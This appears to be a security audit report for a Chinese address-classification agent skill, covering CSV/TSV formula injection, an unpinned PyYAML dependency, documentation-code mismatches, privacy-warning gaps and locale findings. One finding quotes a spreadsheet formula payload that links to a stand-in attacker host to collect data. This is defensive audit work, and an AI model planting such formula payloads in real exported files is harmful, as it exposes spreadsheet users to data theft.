Back to skill

Security audit

地址智能分类器

Security checks for vulnerabilities and agentic risk

Overview

This is a local China-address classification skill whose file processing is purpose-aligned, with privacy and export-safety cautions rather than evidence of malicious behavior.

Use this only with address datasets you are authorized to process. Treat input files, output files, and debug logs as sensitive, avoid opening untrusted CSV/TSV outputs in spreadsheet software unless formula-like cells are neutralized, and consider removing or pinning the unused PyYAML dependency before installation.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
src/address_classifier.py:447
Finding

Spreadsheet Formula Injection in CSV and TSV Exports

Content
View full analysis

Vulnerability Details

File Location: src/address_classifier.py, lines 447-461
Vulnerability Type: Spreadsheet formula injection caused by exporting untrusted fields without neutralization
Risk Level: Medium

Vulnerable Code:

python
for result in results:
    line = f"{result.id}{delimiter}{result.original_address}{delimiter}" \
           f"{result.classified_result}{delimiter}{result.category}{delimiter}" \
           f"{result.province}{delimiter}{result.city}{delimiter}" \
           f"{result.district}{delimiter}{result.remark}\n"
    f.write(line)

def _write_csv(self, results: List[AddressResult], output_path: str):
    """Write CSV format."""
    with open(output_path, 'w', encoding='utf-8-sig', newline='') as f:
        writer = csv.writer(f)
        writer.writerow([
            'id', 'original address', 'classification', 'category',
            'province', 'city', 'district', 'complete', 'remark'
        ])

        for result in results:
            writer.writerow([
                result.id, result.original_address, result.classified_result,
                result.category, result.province, result.city, result.district,
                'yes' if result.is_complete else 'no', result.remark
            ])

Technical Analysis

The input record ID and address are attacker-controllable values. They are propagated into AddressResult and written directly to spreadsheet-compatible CSV or delimiter-separated text output.

The use of csv.writer provides syntactic CSV quoting, but it does not prevent spreadsheet applications from interpreting a cell beginning with =, +, -, or @ as a formula. The TXT output has the same problem because fields are directly concatenated with a configurable delimiter.

An attacker can therefore supply a value such as:

text
=HYPERLINK("https://attacker.invalid/collect","Open record")

When a generated file is open ...[truncated 1766 chars]

Remediation
View remediation

Remediation Suggestions

Apply spreadsheet-safe neutralization to every string field before writing CSV or TSV output.

  1. Detect cells whose first non-whitespace character is =, +, -, or @.
  2. Prefix dangerous values with a single quote or another documented neutralization character appropriate for the intended spreadsheet consumers.
  3. Apply the protection consistently to IDs, original addresses, classification fields, location fields, and remarks.
  4. Preserve csv.writer for correct CSV escaping; formula neutralization is an additional requirement and does not replace CSV quoting.
  5. Consider offering JSON as the preferred format when spreadsheet interoperability is unnecessary.
  6. Add regression tests for leading formula markers, leading whitespace before formula markers, embedded delimiters, quotes, tabs, and line breaks.

Example hardening helper:

python
def spreadsheet_safe(value: object) -> str:
    text = "" if value is None else str(value)
    if text.lstrip().startswith(("=", "+", "-", "@")):
        return "'" + text
    return text

Apply this helper to every exported field before passing values to csv.writer or constructing delimiter-separated output.

T08 · Insecure Dependencies

Note
Location
requirements.txt:2
Finding

Unbounded and Unused Third-Party Dependency

Content
View full analysis

Vulnerability Details

File Location: requirements.txt, line 2
Vulnerability Type: Unpinned third-party dependency and unnecessary supply-chain exposure
Risk Level: Low

Vulnerable Code:

text
# Python >= 3.7
PyYAML>=5.4.1

The documented installation procedure executes:

bash
pip install -r requirements.txt

Technical Analysis

The dependency specification provides only a minimum version and permits pip to install any later PyYAML release available from the configured package index. This makes installation results change over time and prevents reproducible dependency verification.

The audited executable implementation does not import PyYAML or load config/config.yaml. Consequently, the dependency is unnecessary for the observed runtime behavior and expands the package's supply-chain attack surface without providing a functional benefit.

There is no evidence in the audited project that the current PyYAML package is malicious. The issue is the unrestricted and unnecessary trust placed in future dependency releases and package-index resolution.

Attack Path

  1. A user follows the documented installation instructions.
  2. pip install -r requirements.txt resolves PyYAML>=5.4.1 against the user's configured package index.
  3. Because no exact version or artifact hash is specified, pip may select a future or otherwise unreviewed release.
  4. If the selected package artifact or package-index path is compromised, malicious installation-time or runtime behavior could execute in the user's environment.
  5. Such behavior would run with the privileges of the account performing the installation.

Impact Assessment

No direct exploit is present in the project's own dependency declaration, and no malicious PyYAML version was identified during this audit. The risk is prospective supply-chain compromise and loss of build reproducibility.

If dependency resolution were compromised, ...[truncated 339 chars]

Remediation
View remediation

Remediation Suggestions

  1. Remove PyYAML from requirements.txt if YAML configuration loading remains unimplemented.
  2. If YAML support is implemented, pin a reviewed exact version rather than using a lower-bound-only constraint.
  3. Use a lock file or hash-verified requirements file to ensure reproducible artifact selection.
  4. Generate hashes for approved distributions and install with hash enforcement, for example through pip install --require-hashes.
  5. Review and update pinned dependencies through a controlled dependency-management process.
  6. Install dependencies in an isolated virtual environment under a non-privileged account.
  7. Keep package-index configuration restricted to trusted repositories.
Vulnerability Patterns
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Findings (21)

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The README instructs users to process and export address records, which can contain personally identifiable information such as full street addresses, without any warning about privacy, retention, masking, or secure handling. In a data-processing skill, this omission increases the chance that operators will use real personal data insecurely, store outputs unnecessarily, or expose sensitive location information in logs and exported files.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The skill documentation claims support for TXT/CSV/JSON formats, and the config table also exposes an output_format option for txt/csv/json. However, the implemented process_file logic only parses tab-delimited text input and always writes tab-delimited text output, without any CSV or JSON handling. This is a clear manifest/documentation-to-code capability mismatch.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The skill processes and writes full postal addresses, which are sensitive personal data, yet the documentation provides no privacy warning, minimization guidance, or handling constraints. In practice this increases the risk that operators store, export, or share raw address data insecurely, especially because the output file reproduces the original address column in full.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
98% confidence
Finding

The 异常处理 section states that the code already includes complete handling for file read/write exceptions, encoding errors, and logging. In the implementation, process_file directly opens and reads/writes files without any try/except, so those exceptions are not actually handled. This is an active contradiction between the documentation and the code.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The skill processes and writes detailed address records, which are personal or sensitive location data, yet the documentation provides no privacy, retention, masking, or access-control guidance. In real deployments, this increases the risk of accidental exposure through output files, logs, shared workstations, or insecure data handling practices.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The configuration table says output_format supports txt/csv/json, implying output behavior changes based on configuration. In the code, output_format is stored in config at L150 but never used, and process_file always writes a tab-delimited text file at L359-L363.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
98% confidence
Finding

The document states that the code includes complete exception handling, specifically mentioning file read/write exception capture and encoding error handling. However, process_file directly opens and reads/writes files at L345-L360 with no try/except, so I/O and encoding failures would propagate rather than being handled.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The file’s comments, region settings, and address-classification data are entirely fixed to a Chinese locale, specifically Guizhou/Guiyang, with no indication that users can opt into this language or locale constraint. Under the policy, forcing a specific language or locale without user choice or documented justification is a natural-language policy concern.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

This plain-text file consists entirely of Chinese headers and addresses, with no surrounding natural-language indication that the skill is region-specific or that users can opt into this locale. Under the policy criteria, forcing a specific language without user choice or documented justification is a natural-language policy concern.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The docstring and all user-facing CLI output are written in Chinese, which imposes a specific language on users with no opt-in or alternative locale. This matches the policy-violation category for language or locale constraints that are not user-selectable or explicitly justified.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The skill processes and exports raw address data, which is personally sensitive information, into TXT/CSV/JSON files without any minimization, masking, consent prompt, or explicit privacy warning. In the context of an address-classification utility, this increases the risk of accidental disclosure through local files, logs, backups, sharing, or downstream handling.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

This code file contains user-facing strings and documentation entirely in Chinese, including the module docstring, test descriptions, and printed output. Under the policy rule for language/locale, forcing a specific language without opt-in is a natural-language policy violation unless the locale constraint is explicitly documented and justified, which is not present here.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
89% confidence
Finding

This markdown file uses Chinese for the substantive skill description, which can amount to forcing a specific language for users reading the skill materials. The file does not indicate that the skill is region-specific documentation only, nor does it offer any language or locale option.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
88% confidence
Finding

The manifest is written entirely in Chinese and does not indicate that language selection is optional or that the skill is restricted to a Chinese-speaking or region-specific audience. Under the policy criteria, this is a natural-language locale constraint without explicit user opt-in or documented justification.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
93% confidence
Finding

The README presents all instructions and examples only in Chinese, which effectively forces a single language for users. The file does not offer an alternative language option or explicitly state that the skill is intentionally limited to a Chinese-language or China-specific audience.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
83% confidence
Finding

The skill documentation is entirely written in Chinese and the functionality is defined specifically around Chinese-standard addresses, without indicating any user-selectable language or locale option. Under the stated policy, a forced language/locale should be documented as an explicit justified constraint or offer opt-in choice.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
88% confidence
Finding

The skill documentation and output schema are entirely defined in Chinese, including fixed output labels and classification values, with no indication that users can choose another language or that the locale restriction is mandatory for a region-specific compliance reason. This can constitute a language/locale policy issue because the skill appears to enforce one language by default without opt-in.

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
95% confidence
Finding

The dependency is specified with a lower-bound range instead of an exact version, which makes builds non-reproducible and can cause different environments to resolve to different PyYAML releases. That increases supply-chain risk and makes it harder to verify whether a deployed version includes known security fixes or newly introduced issues.

Content

Scanner excerpt · requirements.txt (reported line 2)May include surrounding context.

text
# Python >= 3.7
PyYAML>=5.4.1

Unverifiable Dependency: PyYAML has 8 known advisory(ies) (CVE-2019-20477 (Deserialization of Untrusted Data in PyYAML); CVE-2020-1747 (Improper Input Validation in PyYAML); CVE-2020-14343 (Improper Input Validation in PyYAML) +5 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
90% confidence
Finding

PyYAML has multiple historical security advisories, and because the manifest does not pin the package version, it is impossible to determine from this file alone whether an affected release could be installed. In a skill context, this becomes more dangerous if YAML is later used on untrusted input, especially with unsafe loaders, because vulnerable or outdated versions can enable deserialization or input-validation issues.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
84% confidence
Finding

The module description, category labels, remarks, headers, and example output are all hard-coded in Chinese, and there is no indication that users can choose another language or locale. Under the stated policy, forcing a specific language without opt-in is a natural-language policy violation unless the locale constraint is explicitly documented and justified.

Content

No source excerpt is available for this finding.

Dynamic attribute access via getattr()

Low
Category
Dangerous Code Execution
Confidence
50% confidence
Finding

Dynamic getattr() with a non-literal attribute name can access arbitrary object attributes, potentially bypassing access controls.

Content

Scanner excerpt · src/address_classifier.py (reported line 96)May include surrounding context.

python
def _setup_logging(self):
        """配置日志系统"""
        log_level = getattr(logging, self.config['log_level'].upper(), logging.INFO)

        handlers = []
        if self.config['log_file']:

Static analysis

No suspicious patterns detected.